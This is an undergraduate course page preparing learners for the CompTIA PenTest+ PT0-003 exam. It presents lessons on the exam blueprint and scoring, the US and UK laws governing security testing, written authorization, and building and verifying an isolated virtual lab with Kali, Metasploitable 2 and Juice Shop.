💻 Computer Science · Undergraduate · CS 325

PenTest+ Certification Prep

CompTIA launched PT0-003, the third version of its PenTest+ penetration testing exam, on 17 December 2024. It is the version a learner starting now will sit; a draft of its successor, PT0-004, has been published without a launch date. This course follows PT0-003 objective by objective through its five domains: engagement management (13 percent of the exam), reconnaissance and enumeration (21),…

This course is still being finished: 30 of its 34 planned lessons are published. Still to come are lessons on network attacks, password and identity attacks, and persistence (exam objectives 4.2, 4.3 and 5.1). Until they are published, use another source for those objectives before you sit the exam.

Start the interactive course (quizzes, progress, videos) →

Free forever. No sign-up, no ads. 30 lessons. The full lesson text is below so you can read it right here.

Module 1: Before You Begin: The Exam, the Law, and Your Lab

Find out which PenTest+ exam you will sit, how its five domains are weighted, what its questions look like and how they are scored; learn the laws and written permissions that separate a penetration test from a crime; and build the isolated lab on your own computer that every later exercise uses.

Ninety Questions in 165 Minutes: Reading the PenTest+ Blueprint

  • Identify the current PenTest+ exam (PT0-003), its launch date, the status of the PT0-004 draft, and the format, time limit and passing score of the exam you will sit.
  • Describe the five PT0-003 domains and their weights, and use each objective's verb to predict how it will be tested.
  • Explain how simulation PBQs, criterion-referenced scoring, retakes, renewal and the rules for candidates under 18 work.
  • Explain the safety rules this course follows and plan your study around practice testing and spaced review.

One exam on sale, one in draft

On 17 December 2024 CompTIA launched exam PT0-003, the third version of PenTest+, its certification for penetration testers. The second version, PT0-002, retired on 17 June 2025, so PT0-003 is the only PenTest+ exam you can book today. CompTIA's PenTest+ page says an exam usually retires about three years after launch, and it estimates 2027 for PT0-003, but it has not announced a date.

The next version already exists on paper. CompTIA's page of exam objectives under development lists a draft for PenTest+ V4, exam PT0-004, in document version 1.1, copyright 2026. Its number of questions, length and passing score all read "TBD", its domains carry no weights yet, and no launch date has been announced. This course follows PT0-003, objective by objective. If you will sit the exam after PT0-004 launches, check the retirement date CompTIA announces for PT0-003 before you book, and map this course onto the final V4 objectives when they are published.

Before you study for any test, read its specification. This lesson works through the PT0-003 specification in order: who it is written for, how it is weighted, what the questions look like, how they are scored, and which rules apply before you book. It also sets out the safety rules that every later lesson follows. The lab at the end turns the blueprint into a tracker you will use for the rest of the course.

Exam objectives: none directly. The lesson maps all twenty-six PT0-003 objectives, 1.1 to 5.4, to the lessons that teach them.

Who the exam is written for

CompTIA recommends three to four years of experience in a penetration tester job role, with the knowledge of Network+ and Security+ or the equivalent. A penetration tester is hired to attack an organization's systems the way a real adversary would, with the organization's written permission, and then to explain what they found and how to fix it. That permission is the entire difference between the job and a crime, which is why the next two lessons spend so long on it.

The opening section of the PT0-003 objectives document says what a certified candidate can do. In paraphrase, there are four abilities. You can plan and scope a test and gather information for it. You can carry out attacks that stay inside legal and compliance requirements. You can work through every phase of a test with suitable tools and tactics, techniques and procedures, adapting the tools where needed. And you can analyze the results to write a report, communicate the findings to stakeholders, and recommend practical fixes. Notice that two of the four abilities are about planning and reporting, not attacking.

This course assumes the material of the site's Security+ Certification Prep and, behind it, Network+ Certification Prep. When a lesson leans on them, for example on the TCP handshake, Kerberos or certificate chains, it gives a short reminder and points you back rather than teaching the topic twice.

Key idea: PenTest+ tests the person who plans, carries out and reports an authorized attack. Expect questions that hand you a scope document, a scan result or a log excerpt and ask what you should do next, or what you should write down.

PT0-003 and the PT0-004 draft side by side

Here are the two versions as CompTIA's pages and documents described them on 3 November 2026.

FeaturePT0-003 (V3)PT0-004 (V4 draft)
StatusOn sale since 17 December 2024Draft objectives, document version 1.1
DatesNo retirement date announced; CompTIA estimates 2027No launch date announced
QuestionsMaximum of 90, multiple-choice and performance-basedMultiple-choice and performance-based; number TBD
Time165 minutesTBD
Passing score750 on a scale of 100 to 900TBD
Recommended experience3 to 4 years as a penetration tester3 to 4 years as a penetration tester
DomainsFive: engagement management 13%; reconnaissance and enumeration 21%; vulnerability discovery and analysis 17%; attacks and exploits 35%; post-exploitation and lateral movement 14%Six, weights TBD: engagement management and reporting; reconnaissance and enumeration; vulnerability discovery and analysis; attacks and exploits; post-exploitation; automation and artificial intelligence
LanguagesEnglish, French, Japanese, PortugueseNot yet stated

Two things stand out. The draft puts reporting into the name of its first domain and adds a sixth domain on automation and AI, so those topics are growing. And a draft is a draft: CompTIA says the draft documents are taken down and replaced by final objectives when development ends, so nothing in it is settled. The exam you can study for with certainty is PT0-003.

Key idea: plan your time by PT0-003's weights. Attacks and exploits carry 35 percent, the largest single share. The other 65 percent is planning, finding, validating, moving and cleaning up. A candidate who studies only attacks has studied a minority of the test.

Five domains, twenty-six objectives

The objectives document splits each domain into numbered objectives and lists example topics under each one. The table paraphrases every objective and names the lessons that teach it. Download the document from CompTIA (linked in the Sources) and keep it beside the course: it is the nearest thing you have to the exam's own syllabus.

ObjectiveWhat it asks of you (paraphrased)Lessons
1.1Summarize the work done before testing: scope, regulations and standards, rules of engagement, agreements, targets, assessment types, shared responsibility, and legal and ethical duties2, 3, 4
1.2Explain how testers collaborate and communicate: peer review, stakeholders, root causes, escalation, secure distribution, risk, reprioritized goals, business impact and client acceptance31
1.3Compare testing frameworks, methodologies and threat models such as PTES, OSSTMM, ATT&CK, OWASP, STRIDE and DREAD5
1.4Explain the parts of a penetration test report and what to consider when writing one32
1.5Given a scenario, analyze findings and recommend technical, administrative, operational and physical fixes33
2.1Given a scenario, gather information passively and actively6, 7
2.2Given a scenario, enumerate hosts, services, users, shares, directories, secrets and wireless networks7, 8, 23
2.3Given a scenario, modify Bash, Python and PowerShell scripts for reconnaissance9
2.4Given a scenario, choose and use reconnaissance and enumeration tools6, 7, 8, 23
3.1Given a scenario, discover vulnerabilities with network, host, application, container, secrets, wireless and industrial scanning10, 11, 23
3.2Given a scenario, analyze and validate the output of earlier phases and select public exploits12
3.3Explain physical security testing concepts13
4.1Given a scenario, analyze output to prioritize targets and prepare attacks14
4.2Given a scenario, carry out network attacks with suitable tools15
4.3Given a scenario, carry out authentication attacks with suitable tools16, 17
4.4Given a scenario, carry out host-based attacks with suitable tools18, 19
4.5Given a scenario, carry out web application attacks with suitable tools20, 21
4.6Given a scenario, carry out cloud attacks with suitable tools22
4.7Given a scenario, carry out wireless attacks with suitable tools23
4.8Given a scenario, carry out social engineering attacks with suitable tools24
4.9Explain attacks on specialized systems: mobile devices, AI, operational technology and short-range radio25
4.10Given a scenario, use scripting and breach and attack simulation to automate attacks26
5.1Given a scenario, establish and maintain persistence27
5.2Given a scenario, move laterally through an environment28
5.3Summarize how data is staged and exfiltrated29
5.4Explain cleanup and restoration after testing30

Look at the verbs. Eighteen of the twenty-six objectives begin "Given a scenario". Those are where you should expect to be handed evidence, such as a scope statement, an Nmap result or a web request, and asked to act on it. The other eight ask you to summarize, explain, or compare and contrast. An "explain" objective still needs real understanding, because the exam rarely asks for a bare definition; it describes a situation and asks which concept fits.

Many scenario objectives use the word "perform": perform network attacks, perform authentication attacks, and so on. On the exam, a question of that kind puts you in an authorized engagement and asks which technique, tool, option or next step fits, or what a piece of output means. This course teaches those decisions in full. It does not hand you attack recipes, and a later section of this lesson explains why.

Three more details from the document matter. First, it warns that its bulleted lists are examples rather than complete lists, so other tools and tasks that belong to an objective can appear.

Second, it has a few slips. Its acronym list expands BIA as "Business Intelligence Analytics", but objective 1.2 lists business impact analysis, which is what BIA means in risk work. Objective 5.2 writes "Window Management Instrumentation" and "Window Remote Management" for the Windows services WMI and WinRM. And the acronym list expands TTP as "Techniques, Tactics, Procedures"; NIST's glossary, like most of the field, says tactics, techniques and procedures. This course uses the correct forms and flags each slip where it arises.

Third, the document ends with a proposed list of lab hardware and software, which the study section below comes back to.

What the questions look like and how they are scored

CompTIA lists two question types: multiple-choice and performance-based. A multiple-choice item usually sets a short scene, such as a tester reviewing a scan or a client email, and asks for the best of several plausible answers. A performance-based question (PBQ) asks you to do something: put attack phases in order, match tools to tasks, read output and pick findings, or complete part of a report.

CompTIA's explainer describes two kinds of PBQ. Simulations imitate a tool or environment with restricted functions. Virtual PBQs run real operating systems. PenTest+ appears only in its list of exams with simulations, and four rules about simulations are worth knowing before the day:

  • A simulation has a reset button, so a wrong first step is recoverable.
  • You can skip a simulation and return to it later; your work is saved as you go.
  • Partial credit may be given, so a mostly correct answer is worth finishing.
  • Scoring allows for more than one valid way of solving the task.

Now the arithmetic. If you sit all 90 questions and use the full 165 minutes, you have 165 divided by 90, about 1.83 minutes, or 1 minute 50 seconds per question on average. PBQs take longer than that and many multiple-choice items take less, which is why the time plan in Lesson 30 budgets them separately.

The passing score is 750 on a scale from 100 to 900. That scale is not a percentage of questions answered correctly, and you should not try to convert it into one. CompTIA's exam development page says its exams are criterion-referenced: your result is compared with a fixed cut score for minimal competence in the job role, not with the other people who tested that month. CompTIA does not disclose pass rates.

Key idea: a simulation can be reset, skipped and revisited, and can earn partial credit, so the worst strategy is to sink fifteen minutes into one early and leave easier points unanswered at the end.

Rules before you book

  • Delivery. Pearson VUE delivers CompTIA exams, including online through its OnVUE remote proctoring service, which begins with photos of your testing space and a room scan.
  • Candidates 17 and under. Since 23 June 2026, CompTIA's candidate ID policy has required a parent's consent through CompTIA Central before a minor registers, and a parent no longer has to come to the test center. The minor still needs authorization for each testing event and one photo ID, and a school ID is acceptable. For online exams, CompTIA's exam delivery policies still say a guardian must be present at check-in and show government-issued ID. The two pages can change separately, so read both before you book.
  • Retakes. There is no waiting period between a first and a second attempt. Before a third or later attempt you must wait at least fourteen calendar days from your last one. You cannot retake an exam code you have already passed, and every attempt is paid for in full.
  • Renewal. CompTIA certifications expire three years from the certification date. PenTest+ is renewed with 60 continuing education units (CEUs) earned within that cycle, plus CompTIA's annual continuing education fees. Earning a qualifying certification instead, which for PenTest+ means SecurityX or CySA+, renews it in full, and the fees are then waived.
  • Price. When this lesson was checked, CompTIA's PenTest+ page pointed to its Buy now section rather than quoting a price, so this course states none. Check CompTIA's store for your country.

One more rule is ethical. The objectives document says CompTIA does not condone "brain dumps", sites that sell or share real exam questions, and that candidates who use them will have their certifications revoked and be suspended from future testing. Every question in this course was written for the course; none comes from the exam.

CompTIA and PenTest+ are trademarks of CompTIA, which does not endorse this course. No course can honestly promise that you will pass. What it can do is teach the objectives properly and give you the right kind of practice.

The rules this course works by

Penetration testing is unusual among IT jobs: its central skill is a crime when it is done without permission. The same port scan, password guess or crafted web request is professional work inside a signed engagement and an offence outside one. So the course works by five rules, and they hold in every lesson.

  1. Everything is authorized. Every scenario in a lesson or a quiz is an engagement with written permission from someone entitled to give it. Lessons 3 and 4 show what that permission looks like.
  2. Your lab, and only your lab. Lesson 2 builds an isolated lab on your own computer: deliberately vulnerable virtual machines on a host-only network with no route to the internet or to anyone else's systems. Before every lab that touches a target, the lesson repeats the warning: testing a system without its owner's written permission is illegal and wrong, under laws such as the US Computer Fraud and Abuse Act and the UK Computer Misuse Act.
  3. Hands-on means discovery, enumeration and verification. The commands you type find hosts, list services, read banners, check configurations and confirm findings, and they point only at your lab's private addresses.
  4. Attacks as mechanisms, not recipes. For each attack the exam names, you learn what it does, the weakness it relies on, how defenders detect and prevent it, and how a tester reports it. You will not find exploit code, payloads, malware, lure messages, or steps for slipping past defenses in this course.
  5. Reporting gets its full weight. Every attack lesson ends with how the finding is written up and fixed, and Module 9 spends three lessons on communication, reports and remediation.

There is a cost to these rules, and you should know it. A text course cannot give you the practiced hands that come from hundreds of hours on supervised engagements and purpose-built training ranges, which is where professional testers build them. What the exam's simulations ask, though, is that you choose correctly and read results correctly, and that is exactly what the lessons and your lab train.

How to study with this course

Two study habits have unusually strong evidence behind them. In a 2013 review of ten learning techniques, John Dunlosky and four colleagues rated practice testing and distributed practice, meaning study spread out over time, as high utility. Highlighting and rereading rated low, because their gains were inconsistent.

The course is built around the high-utility pair. Every lesson ends with ten scenario questions, and every explanation says why the right answer is right. Take each quiz on the day you finish the lesson, then again a week later before you reread anything. Record which objective each missed question belongs to, and let the misses, not the lesson order, decide what you review. Expect the second attempt to feel harder than the first: that effort is part of the learning.

The objectives document's proposed lab list is long. Its hardware includes wireless adapters capable of packet injection, a directional antenna, NFC and RFID cloning equipment, a lock pick kit, a programmable logic controller and a software-defined radio kit. Its software includes penetration testing frameworks, scanners, credential testing tools, web proxies, command-and-control tools and access to a cloud environment.

This course uses only the free software on that list, on your own computer, and no radio or cloning hardware. Cloud and wireless topics are taught from documentation and published sample data instead: a cloud free tier asks for a credit card, and radio testing reaches into airspace you share with your neighbors.

Five numbered boxes in a row, with green arrows moving correctly answered cards forward one box and red arrows moving incorrectly answered cards back.
The Leitner system for spaced self-testing
Zirguezi - CC0 - Wikimedia Commons

Common misconceptions

  • "PenTest+ is an exploitation exam." Attacks and exploits are 35 percent. Scoping, reconnaissance, vulnerability analysis, post-exploitation and reporting make up the rest, and two of CompTIA's four headline abilities are planning and reporting.
  • "Once I pass, I am allowed to test systems." A certification is not a license or a permission. Authority to test comes only from the system's owner, in writing, for a defined scope.
  • "A 750 means I need about 83 percent." The 100-900 scale is a reported score compared with a cut score; it is not a percentage of items answered correctly.
  • "I should wait for PT0-004." It has no launch date, no weights and no question count, and drafts change. PT0-003 is the exam you can book.
  • "If a tool is not named in the objectives, it cannot appear." The document says its lists are examples. Learn what each kind of tool is for, so an unfamiliar name in a question does not throw you.

Where this leaves us

  • PT0-003 launched on 17 December 2024 and is the only PenTest+ exam on sale; PT0-002 retired on 17 June 2025, and a PT0-004 draft has no launch date.
  • PT0-003 allows at most 90 questions in 165 minutes, multiple-choice and performance-based, with a passing score of 750 on a 100-900 scale.
  • Its five domains weigh 13, 21, 17, 35 and 14 percent: engagement management, reconnaissance and enumeration, vulnerability discovery and analysis, attacks and exploits, and post-exploitation and lateral movement.
  • Eighteen "given a scenario" objectives need the most practice reading evidence and choosing actions.
  • PenTest+ PBQs are simulations: they can be reset, skipped and revisited, and can earn partial credit.
  • This course is authorized testing only, in your own isolated lab, with attacks taught as mechanisms and every finding carried through to a report and a fix.

Sources

  1. CompTIA. (2026). CompTIA PenTest+ (exam details for V3, PT0-003; retrieved 3 November 2026). comptia.org
  2. CompTIA. (2023). CompTIA PenTest+ PT0-003 V3 certification exam objectives (Exam Objectives Document Version 5.0, printed December 2024). CompTIA (PDF)
  3. CompTIA. (2026). CompTIA exam objectives under development and DRAFT CompTIA PenTest+ V4 exam objectives (PT0-004, Exam Objectives Document Version 1.1). comptia.org; CompTIA (draft PDF)
  4. CompTIA. (n.d.). Performance-based questions. comptia.org
  5. CompTIA. (n.d.). Exam development, Exam delivery policies, Candidate ID policy and CompTIA certification retake policy. comptia.org (development); comptia.org (delivery); comptia.org (candidate ID); comptia.org (retakes)
  6. CompTIA. (n.d.). Certification renewal policy, Earn continuing education units (CEUs), Earn a higher-level CompTIA certification and CompTIA continuing education program FAQ. comptia.org (renewal); comptia.org (CEUs); comptia.org (higher-level); comptia.org (fees)
  7. National Institute of Standards and Technology. (n.d.). Tactics, techniques, and procedures (TTP). Computer Security Resource Center glossary. csrc.nist.gov
  8. Dunlosky, J., Rawson, K. A., Marsh, E. J., Nathan, M. J., and Willingham, D. T. (2013). Improving students' learning with effective learning techniques: Promising directions from cognitive and educational psychology. Psychological Science in the Public Interest, 14(1), 4-58. Summary at Association for Psychological Science
Key terms
PT0-003
The exam code for PenTest+ V3, launched 17 December 2024; the version this course follows.
PT0-004 draft
CompTIA's draft objectives for PenTest+ V4, with six domains and no announced launch date, weights or format details.
Penetration test
An authorized, simulated attack on an organization's systems, carried out to find weaknesses and report how to fix them.
Exam objectives
CompTIA's published list of domains, numbered objectives and example topics that the exam measures.
Domain
One of the five weighted areas of PT0-003, from engagement management (13 percent) to attacks and exploits (35 percent).
Simulation PBQ
A performance-based question that imitates a tool or environment; it can be reset, skipped and revisited, and may earn partial credit.
Criterion-referenced scoring
Scoring that compares each result with a fixed cut score for competence, not with other candidates' results.
Brain dump
Real exam questions sold or shared without authorization; using them can cost a candidate their certifications.
Continuing education units (CEUs)
CompTIA's renewal credit; PenTest+ needs 60 within its three-year cycle.

Permission First: The Law, Your Own Lab, and Proving It Is Isolated

  • Explain how the US Computer Fraud and Abuse Act, the Van Buren decision, the Justice Department's charging policy and the UK Computer Misuse Act apply to security testing.
  • Explain why written authorization from a system's owner is the precondition for every test, including tests of your own lab.
  • Build a lab of a tester VM, a deliberately vulnerable target and a local web application on a host-only network.
  • Prove the lab's isolation with tests rather than assumptions, and predict how changing a network mode changes the risk.

A port scan in Cherokee County

In December 1999 Scott Moulton was a consultant maintaining the emergency 911 system for Cherokee County, Georgia. He was setting up a router to link the Canton police department to the 911 center. He worried that the new connection might weaken the center's security, so he ran some preliminary port scans of the networks involved. One of the machines he scanned was a county web server owned and run by a competing firm, VC3. VC3 noticed, emailed him, and then reported him to the police.

Moulton lost his 911 maintenance contract and was arrested under the Computer Fraud and Abuse Act. VC3 claimed damages for the time it spent investigating. A civil court eventually held that his unauthorized port scan did not violate the federal law or Georgia's, and the criminal charges were dropped. Gordon Lyon, the author of Nmap, tells this story in his book on the tool and notes what the victory cost: six-figure legal bills and years of stress. His advice is short. Get written authorization from the target network's representatives before you scan.

A port scan is the gentlest thing a penetration tester does. If one scan of the wrong machine can cost a contract and bring an arrest, everything else in this course needs a firmer footing. This lesson gives it one: the laws that draw the line, the written permission that keeps you on the right side of it, and an isolated lab on your own computer where every later exercise happens.

Exam objectives: introduces 1.1 (legal and ethical considerations, including authorization letters), which Lessons 3 and 4 complete. The lab built here is used by every later lab.

A white marble courthouse with tall columns at its entrance, in the Georgia county whose 911 system Scott Moulton maintained.
Old Cherokee County Courthouse, Canton, Georgia
Stephen Matthew Milligan - CC BY-SA 3.0 - Wikimedia Commons

The rules in one table

Two statutes, one court decision and one prosecutors' policy cover most of what you need. The table paraphrases each and says what it means for a tester.

RuleWhat it says (paraphrased)What it means for a tester
Computer Fraud and Abuse Act (CFAA), 18 U.S.C. 1030, United StatesA crime to intentionally access a computer without authorization, or to exceed authorized access, and thereby obtain information (subsection (a)(2)); a crime to knowingly transmit a program, code or command that intentionally causes damage without authorization ((a)(5)(A)); anyone who suffers damage or loss may sue ((g)), if the conduct involves one of the harms the statute lists, such as at least $5,000 of loss in a yearAuthorization is the whole question. A test that knocks a client's server over can bring a lawsuit as well as a prosecution, so scope and care both matter.
Van Buren v. United States (2021)You "exceed authorized access" when you obtain information from particular areas of a computer, such as files, folders or databases, that are off-limits to youYour authorization is a list of places you may enter. That is why a scope names systems, addresses and applications rather than saying "test our network".
Justice Department CFAA charging policy, Justice Manual 9-48.000 (2022)Federal prosecutors should decline to charge when the evidence shows that the conduct consisted of, and the person intended, good-faith security research: testing or correcting a flaw in a way designed to avoid harm, with the results used mainly to improve security. Research done to extort the owners does not qualify.The policy guides federal prosecutors only. It creates no right you can enforce in court, does not stop a civil suit or a state prosecution, and can be changed.
Computer Misuse Act 1990, United KingdomSection 1: unauthorised access to computer material. Section 2: the same, with intent to commit further offences. Section 3: unauthorised acts intended to impair a computer's operation, or reckless as to that. Section 3ZA: unauthorised acts causing or risking serious damage. Section 3A: making, supplying or obtaining articles for use in offences under sections 1, 3 or 3ZA.In the UK, getting hold of a tool can itself be an offence when it is meant for misuse. Keep your authorization and your purpose written down.

Read the Van Buren row closely, because it shapes how scopes are written. Nathan Van Buren, a Georgia police sergeant, used his own valid login to search a license-plate database for money, against department policy. The Supreme Court decided the case on 3 June 2021, six votes to three, in an opinion by Justice Amy Coney Barrett. It held that the "exceeds authorized access" clause asks a gates-up-or-down question: could you enter that part of the system at all? Misusing information you were allowed to reach is a matter for other rules.

For a tester the lesson runs the other way. Your gates are whatever the client opened in writing, and every system outside the list is a gate that is down.

Other countries draw the line differently, and some draw it tighter. Lyon's legal chapter records a 17-year-old in Finland convicted of attempted computer intrusion for port scanning a bank, and fined the cost of the investigation. If you test anywhere outside the US and the UK, the local law applies, and a client's lawyer should confirm it before the work starts.

Remember: "it is probably legal" is not a standard a tester works to. You work inside a written authorization from someone entitled to give it, or on equipment you own.

The white marble front of the United States Supreme Court Building in Washington, D.C., with its columns and wide steps.
US Supreme Court, which decided Van Buren in 2021
颐园居 - CC BY-SA 4.0 - Wikimedia Commons

What counts as permission

On a real engagement, permission arrives as a set of signed documents: a contract, a statement of work, rules of engagement and an authorization letter. Lessons 3 and 4 take them apart. For now, three tests separate real permission from the kind that fails when it matters.

  1. The right person gives it. The owner of the systems, or someone with documented authority to speak for the owner. An administrator who looks after a server does not necessarily have the authority to let you attack it.
  2. It is written. A conversation cannot be shown to a police officer at midnight or to a court a year later.
  3. It is specific. It names the systems, the dates and times, and the kinds of testing allowed. "Feel free to look around" is not a scope.

In this course the systems are your own computer and the virtual machines you build on it, so you are the owner. You will still write a short scope for your lab, because the habit is what protects you later. If the computer belongs to a school or an employer, get written permission from its owner before you install a hypervisor or any security tool on it.

Remember: testing a system without its owner's written permission is illegal and wrong, under the US Computer Fraud and Abuse Act, the UK Computer Misuse Act and similar laws elsewhere. That sentence opens every lab in this course that touches a target, starting with this one.

The parts of the lab

The lab has to do three things: run the testing tools, give you deliberately vulnerable systems that are yours to probe, and keep everything inside it from reaching anyone else. Every part is free.

PartWhat to useNotes
HostYour own computer, with hardware virtualization enabledKali alone wants at least 2 GB of RAM and 20 GB of disk; with a target VM and a browser-based proxy running, 8 GB of RAM is a practical floor and 16 GB is comfortable
HypervisorOracle VirtualBox 7.2 (Windows, macOS on Intel or Apple silicon, Linux)The base package is GPLv3. The separate Extension Pack has a personal and educational use license; this course does not need it
Tester VMKali Linux 2026.3, the pre-built VirtualBox imageLogs in as kali / kali until you change it. Nmap, Wireshark, tcpdump, Netcat, Nikto, Burp Suite Community and Python 3 come with the default image; ZAP does not, so step 5 installs it
Target VMMetasploitable 2, Rapid7's intentionally vulnerable Ubuntu Linux imageLogs in as msfadmin / msfadmin. Its web server also hosts DVWA (admin / password), Mutillidae, phpMyAdmin, TWiki and WebDAV. Host-only networking, always
Web targetOWASP Juice Shop, run in Docker on the Kali VM and bound to 127.0.0.1A deliberately insecure modern web shop for the web lessons. Images exist for x86 and Arm

Metasploitable's own guide is blunt: the image should never be exposed to a hostile network. DVWA's documentation says the same of DVWA: never put it on an internet-facing server. These machines are built to be broken into. The lab's design exists to make sure the only person who can reach them is you.

None of these downloads needs an account. Rapid7's download page asks for contact details; the SourceForge copy that Rapid7's documentation also lists does not. Pulling Juice Shop from Docker Hub needs no account either. But Docker's terms (effective 26 August 2026) govern anonymous downloads too. They require users to be at least 13, and users from 13 to 17 may use Docker's services only with the prior consent and supervision of a parent or guardian.

The VirtualBox 7.0 manager on Windows, with a list of powered-off virtual machines on the left and Import, New and Add buttons at the top.
The VirtualBox manager window
Iketsi - CC BY-SA 4.0 - Wikimedia Commons

Building it, step by step

Work through the steps in order. Each one ends in something you can check.

  1. Check virtualization. On Windows, open Task Manager, choose Performance, then CPU, and look for "Virtualization: Enabled". If it says disabled, the setting is in your computer's firmware (UEFI) menu.
  2. Install VirtualBox. Download it from virtualbox.org and compare the file's SHA-256 hash with the checksum published on the downloads page before you run the installer.
  3. Create a host-only network. In VirtualBox's Network Manager, add a host-only network with its DHCP server enabled. VirtualBox's host-only networks normally use addresses in 192.168.56.0/21; a first network is typically 192.168.56.0/24, with your host at 192.168.56.1. This network will hold your host and your lab VMs and nothing else.
  4. Import Kali. Download the pre-built VirtualBox image from kali.org and check its SHA-256 hash. It arrives as a 7z archive: extract it, then choose Add in VirtualBox and select the .vbox file inside. Give the VM two adapters: adapter 1 on NAT, so it can download updates, and adapter 2 on the host-only network. Log in as kali / kali and change the password at once with passwd.
  5. Update Kali and install Docker. While the NAT adapter is connected, run sudo apt update and sudo apt full-upgrade, then sudo apt install -y docker.io and sudo systemctl enable docker --now, as Kali's documentation gives them. Install ZAP for the web lessons with sudo apt install -y zaproxy. Fetch the Juice Shop image now, while you still have a route out: sudo docker pull bkimminich/juice-shop.
  6. Snapshot Kali and name the snapshot "clean". A snapshot saves the VM's whole state, so any experiment can be undone in seconds.
  7. Add the target. Download Metasploitable 2 (about 800 MB compressed), unzip it, and create a new VirtualBox VM of type Linux, Ubuntu (32-bit), using the existing disk file it contains. Give it exactly one adapter, on the host-only network: never NAT, never bridged. Snapshot it.
  8. Cut Kali's route out. For lab sessions, set Kali's adapter 1 to "Not attached". VirtualBox describes this mode as a card with no cable plugged in. Reconnect it only when you need updates, and never while a target is running. Take a second Kali snapshot now and name it "isolated", because VirtualBox restores a VM's settings along with its disk: going back to "clean" would plug the NAT adapter back in.
  9. Start Juice Shop on loopback only. On Kali, run sudo docker run -d -p 127.0.0.1:3000:3000 bkimminich/juice-shop, the command Juice Shop's own guide gives, then browse to 127.0.0.1:3000 in Kali's browser. The 127.0.0.1 in that command publishes the port on Kali's loopback interface only, so no other machine, not even your host, can reach the shop.

A note for Apple silicon Macs: install Kali from its Apple Silicon (ARM64) installer image, because the pre-built VirtualBox image is x86-64 only. VirtualBox on an Arm host runs only Arm guests, so it cannot run Metasploitable 2, a 32-bit x86 machine. A separate emulator such as QEMU can, but emulation is slow, so the simple answer is to skip the target VM. Juice Shop runs natively on Arm, and the lessons that use Metasploitable also give sample output to analyze.

Proving the lab is isolated

Isolation is something you test, not something you assume. Run these checks now and again whenever you change a VM's settings. First find each VM's address: ip -br addr on Kali, ifconfig on Metasploitable. This course writes Kali as 192.168.56.101 and Metasploitable as 192.168.56.102; use the addresses your own VMs show. The outward test aims at 192.0.2.1, an address reserved for documentation, so it troubles nobody even if isolation has failed.

TestCommandResult you need
Kali reaches the targetOn Kali: ping -c 3 192.168.56.102Three replies
The target has no route to the internetOn Metasploitable: route -n, then ping -c 3 192.0.2.1No line with destination 0.0.0.0, and "Network is unreachable" at once. 100% packet loss is a fail: it means a route out exists
Kali has no route to the internet during lab workOn Kali, with adapter 1 not attached: ip route, then ping -c 3 192.0.2.1No line starting "default", and "Network is unreachable" at once
Juice Shop listens on loopback onlyOn Kali: sudo ss -tlnpPort 3000 shown on 127.0.0.1, not on 0.0.0.0 or 192.168.56.101
Nothing unexpected shares the networkOn Kali: sudo nmap -sn 192.168.56.0/24Only your host, the DHCP server and your own VMs

The last row is your first scan. It is a host discovery sweep: it asks which addresses answer, without probing any ports. It is legal here for exactly the reason Moulton's scan was not clearly legal: you own every address in that range and wrote it into your scope. If a host you do not recognize appears, stop and find out what it is before going further.

Now run the same lab with one input changed. VirtualBox's manual sets out what each network mode lets a VM reach.

ModeVM to hostHost to VMVM to VMVM to outside networkOutside network to VM
Host-onlyYesYesYesNoNo
Internal networkNoNoYesNoNo
BridgedYesYesYesYesYes
NATYesPort forwarding onlyNoYesPort forwarding only
NAT NetworkYesPort forwarding onlyYesYesPort forwarding only

Suppose that, to save a step, you leave Metasploitable on VirtualBox's default NAT adapter. Nothing on the internet can start a connection to it, so it feels safe. But read the fifth column. A NAT VM can reach outward, so a machine full of published flaws now has a path to the internet. Also, your Kali VM, on its own separate NAT network, cannot even reach it to test it.

Switch it to bridged and the result is worse. It joins your home or campus network as a peer, so every device on that Wi-Fi, and anyone else connected to it, can reach a machine whose login and flaws are documented on the web.

Only host-only, or an internal network, gives a vulnerable machine the combination you want: reachable by your tester VM, unreachable by anything else.

DVWA's documentation recommends NAT for a machine running DVWA, and NAT does block unsolicited connections from outside. This course goes one step further and takes away the outbound path as well, because a deliberately vulnerable machine has no reason to talk to the internet at all.

Remember: the target's "Network is unreachable" is the most important result in this lesson. Check it again after every change you make.

What you will and will not do in this lab

Kali ships with hundreds of tools, including exploitation frameworks such as Metasploit. Having them installed is normal for a tester; what matters is what you point them at and why. In this course you will use Kali's discovery, enumeration and analysis tools against Metasploitable and Juice Shop: finding hosts, listing services, reading banners, running vulnerability scanners, observing web traffic in a proxy, and checking configurations. You will not run exploit modules, build payloads, or handle malware. The attack lessons teach how each attack works, what it leaves behind, how it is stopped and how it is reported, which is what the exam's questions test.

Three habits keep the lab safe. Shut the target VM down when you are not using it. Restore snapshots rather than repairing a broken VM by hand, so you always start from a known state, then rerun the isolation tests, because a restore brings back the adapter settings saved with the snapshot. And keep your lab notes, including the scope you are about to write, in one folder, the way you would keep records on a real engagement.

Common misconceptions

  • "Port scanning is always legal" or "always illegal." Neither. No US federal law names it, but state laws, provider contracts and civil suits all apply, and other countries have convicted people for it. Scan what you own, or what someone with authority has listed in writing.
  • "The Justice Department's policy protects good-faith researchers." It guides federal prosecutors. It is not a statute, it binds no state and no civil court, and it excludes research done to extort.
  • "A VM on NAT is isolated." NAT blocks unsolicited inbound connections but lets the VM reach outward. Host-only or internal networking keeps a vulnerable machine in.
  • "My own lab does not need a written scope." Legally you are the owner, but the habit of writing down what is in scope is what stops a stray scan of your router or your neighbor's network.
  • "An administrator can authorize any test on the systems they run." Authority comes from the owner. Looking after a system is not the same as being entitled to let someone attack it.

Putting it together

  • The CFAA punishes access without authorization or beyond it, and Van Buren defines "beyond" as entering areas that are off-limits to you; damage also opens the door to civil suits.
  • The Justice Department's 2022 policy steers federal prosecutors away from good-faith research, but it creates no enforceable right and excludes extortion.
  • The UK Computer Misuse Act covers unauthorised access, access with further intent, impairment, serious damage, and making or obtaining tools for those offences.
  • Permission must come from the right person, in writing, and name specific systems, times and techniques.
  • Your lab is VirtualBox, a Kali tester VM, Metasploitable 2 on host-only networking, and Juice Shop bound to Kali's loopback, with snapshots to undo mistakes.
  • Prove isolation with tests, and never give a vulnerable VM a NAT or bridged adapter.

Sources

  1. Computer Fraud and Abuse Act, 18 U.S.C. 1030. Legal Information Institute, Cornell Law School. law.cornell.edu
  2. Van Buren v. United States, No. 19-783 (U.S. June 3, 2021), slip opinion and syllabus. Supreme Court of the United States. supremecourt.gov (PDF)
  3. US Department of Justice. (2022). Justice Manual 9-48.000: Computer Fraud and Abuse Act (charging policy, including good-faith security research). justice.gov
  4. Computer Misuse Act 1990, c. 18. legislation.gov.uk. legislation.gov.uk
